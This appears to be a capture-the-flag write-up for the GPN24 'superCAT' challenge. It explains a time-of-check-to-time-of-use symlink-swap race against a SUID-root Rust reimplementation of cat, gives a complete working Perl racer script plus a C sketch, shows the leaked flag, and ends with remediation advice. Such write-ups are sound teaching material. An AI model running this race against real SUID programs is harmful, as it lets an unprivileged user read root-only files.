pwnfreemedium

superCAT

kitctf

Task: SUID-root Rust reimplementation of cat that re-runs its own permission checks in userland; std::fs::metadata (check) and fs::read_to_string (use) both follow symlinks on the same path with no fd pinning. Solution: TOCTOU symlink-swap race — flip a symlink between a decoy file we own and /flag so metadata sees the decoy (check passes) while the root read resolves to /flag, leaking the flag.

$ ls tags/ techniques/
toctou_symlink_swapatomic_symlink_renamesuid_path_check_use_raceperl_racer

superCAT — GPN24 CTF / KITCTF

Description

SuperCat. DO NOT EAT. The better, newer, more tasteful version of cat. Obv. highly opinionated

A SUID-root binary /usr/local/bin/supercat is a Rust reimplementation of cat. Provided files (supercat.tar.gz): main.rs, Dockerfile, Cargo.toml, Cargo.lock. We connect as user ctf (uid 1000) over ncat --ssl <host> 443, which (via socat ... EXEC:bash) drops us into a bash shell as ctf. The goal is to read /flag (owned root:root, mode 0400).

The word "highly opinionated" is the semantic clue: the program does NOT trust the kernel for access control — it re-implements the checks itself in userland. That re-implementation is the bug.

Environment / Setup

  • /flagroot:root, mode 0400 (only root may read).
  • /usr/local/bin/supercat — SUID root (chmod 4755, chown root:root).
  • We are ctf (uid 1000, gid 1000, groups=1000), Debian bullseye image, kernel 6.12.
  • Tooling on the box: only perl was present — no gcc/cc, no python/python3. This dictated the exploit language (Perl racer rather than C).

Baseline behaviour:

$ supercat /flag
this super cat wont be tricked by your pesky bribery attempts...
$ supercat /tmp/m          # a file we own, mode 0644
<contents printed 4 times>  # once per passing permission check

Analysis — the four checks and why /flag fails them

main.rs does, in pseudocode:

let file_meta = std::fs::metadata(file)?; // (1) CHECK: stats the path let (uid, gid, groups) = get_permissions(); // (2) caller's REAL uid/gid/groups // parsed from /proc/self/status (ctf=1000) let mode = file_meta.mode(); // (3) four independent checks; each PASSING check calls grant_read(file): if uid == file_meta.uid() && (mode & 0o400) != 0 { grant_read(file); } // owner read if gid == file_meta.gid() && (mode & 0o040) != 0 { grant_read(file); } // group read if groups.contains(&file_meta.gid()) && (mode & 0o040) != 0 { grant_read(file); } // supp. group if (mode & 0o004) != 0 { grant_read(file); } // other read // grant_read: fs::read_to_string(file) then print -> runs AS ROOT, follows symlinks

Two critical facts:

  • std::fs::metadata follows symlinks — it reports the uid/gid/mode of the symlink target, not the link.
  • grant_read calls fs::read_to_string(file) on the same path string — a second, independent resolution that also follows symlinks, and because the binary is SUID root, this read happens as root.

Why /flag fails all four checks honestly:

CheckCondition/flag is root:root 0400
owneruid(1000) == file.uid & 0o400file.uid == 0fail
groupgid(1000) == file.gid & 0o040file.gid == 0, and 0o040 bit clear → fail
supp.groups ∋ file.gid & 0o040group 0 not in our groups, bit clear → fail
other0o004other-read bit clear → fail

So an honest supercat /flag only prints the troll message.

Root cause — TOCTOU symlink-swap (check ≠ use)

The check (metadata(file)) and the use (read_to_string(file) inside grant_read) are two separate path resolutions of the same user-controlled path, and both follow symlinks. There is no file-descriptor pinning between them (the program never open()s once and then fstat()s the same fd). That is a classic time-of-check-to-time-of-use race.

If file is a symlink we own, we can swap its target between the two operations:

  • During metadata(): link → a decoy file we own (uid 1000, mode 0444). The owner check uid == file.uid && 0o400 passes (and the 0o044 bits make the group/supp/other checks pass too).
  • Before read_to_string(): link → /flag. The privileged root read resolves to /flag and leaks the flag.

Memory safety (Rust) is irrelevant here — this is a logic/ordering bug. The flag itself (rUS7_IS_sHIT_CHAnG3_my_M1Nd) is the author's joke about exactly that.

Exploitation — step by step

  1. Create a decoy file mine owned by ctf, mode 0444, with one line decoy.
  2. Create a symlink f. We will flip its target between /flag and mine.
  3. Fork a swapper child that atomically flips f in a tight loop. Atomicity is achieved with the create-temp-symlink + rename() trick so f is never momentarily absent:
    • unlink $T; symlink("/flag",$T); rename($T,$F);
    • unlink $T; symlink($M,$T); rename($T,$F);
  4. Parent loop repeatedly runs supercat f and greps stdout for GPNCTF{...}.
  5. We win when metadata() observes the decoy (so a check passes) while the subsequent root read_to_string() resolves to /flag.

Delivery: the Perl racer was base64-encoded locally, piped over the ncat --ssl bash shell, decoded to /tmp/race.pl, and run under timeout.

# local -> remote base64 -w0 race.pl | ncat --ssl <host> 443 # then on the remote shell: base64 -d > /tmp/race.pl <<'B64' <...payload...> B64 timeout 60 perl /tmp/race.pl

Solve script — race.pl

#!/usr/bin/perl use strict; use warnings; use POSIX ":sys_wait_h"; my $BIN = "/usr/local/bin/supercat"; my $F = "f"; # the symlink supercat will open my $M = "mine"; # decoy file we own (uid 1000, mode 0444) my $T = ".tmp_link"; # temp link used for atomic rename swap # 1) decoy file we own, world-readable -> makes a check pass open(my $fh, ">", $M) or die "decoy: $!"; print $fh "decoy\n"; close($fh); chmod 0444, $M; # 2) initial symlink points at the decoy unlink $F; symlink($M, $F) or die "symlink: $!"; # 3) swapper child: atomically flip f between /flag and the decoy my $pid = fork(); die "fork: $!" unless defined $pid; if ($pid == 0) { while (1) { unlink $T; symlink("/flag", $T); rename($T, $F); unlink $T; symlink($M, $T); rename($T, $F); } exit 0; } # 4) parent: hammer supercat and look for the flag for my $i (1 .. 200000) { my $out = `$BIN $F 2>/dev/null`; if ($out =~ /(GPNCTF\{[^}]*\})/) { print "WIN iter $i\n$out"; kill 'KILL', $pid; waitpid($pid, 0); exit 0; } } kill 'KILL', $pid; waitpid($pid, 0); print "no win\n";

Winning output

It won on iteration 4. The raw stdout literally showed:

decoy
GPNCTF{rUS7_IS_sHIT_CHAnG3_my_M1Nd}
GPNCTF{rUS7_IS_sHIT_CHAnG3_my_M1Nd}
GPNCTF{rUS7_IS_sHIT_CHAnG3_my_M1Nd}
this super cat wont be tricked by your pesky bribery attempts...

Interpretation: metadata() saw the decoy (mode 0444), so the owner, group and supplementary-group checks all passed; for each of those three passing checks the root read_to_string() had already resolved the symlink to /flag, printing the flag three times. The single decoy line and the final troll line are the iterations where the swap landed the other way.

C variant note

If gcc/cc had been present, an equivalent (often faster) racer is race.c: a pthread swapper thread doing the same symlink+rename flip while the main thread fork/execs supercat f in a loop. Compile only if a C compiler exists:

// race.c (sketch) — compile: cc -O2 -pthread race.c -o race // thread: loop { remove(T); symlink("/flag",T); rename(T,F); // remove(T); symlink(M,T); rename(T,F); } // main: loop { fork(); child: execl(BIN,"supercat",F,NULL); parent: read & grep }

Because only perl was available on the target, the Perl racer was the correct choice — no compiler, no Python.

Remediation

  • A SUID program must never re-implement access control and then open() by path. Correct approaches:
    • open() the file once and fstat() that same fd (check-and-use on a single descriptor — no second path resolution).
    • Use faccessat(AT_FDCWD, path, R_OK, AT_EACCESS | AT_SYMLINK_NOFOLLOW) / open with O_NOFOLLOW so symlinks cannot be substituted.
    • Drop privileges (setuid to the real uid) before reading user-named paths, letting the kernel enforce permissions.
  • Parsing real uid/gid from /proc/self/status to make trust decisions is also fragile, but the actually-exploited bug is the path-based check/use race, not the proc parsing.
  • Memory-safe languages (Rust) do not prevent logic/TOCTOU vulnerabilities.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups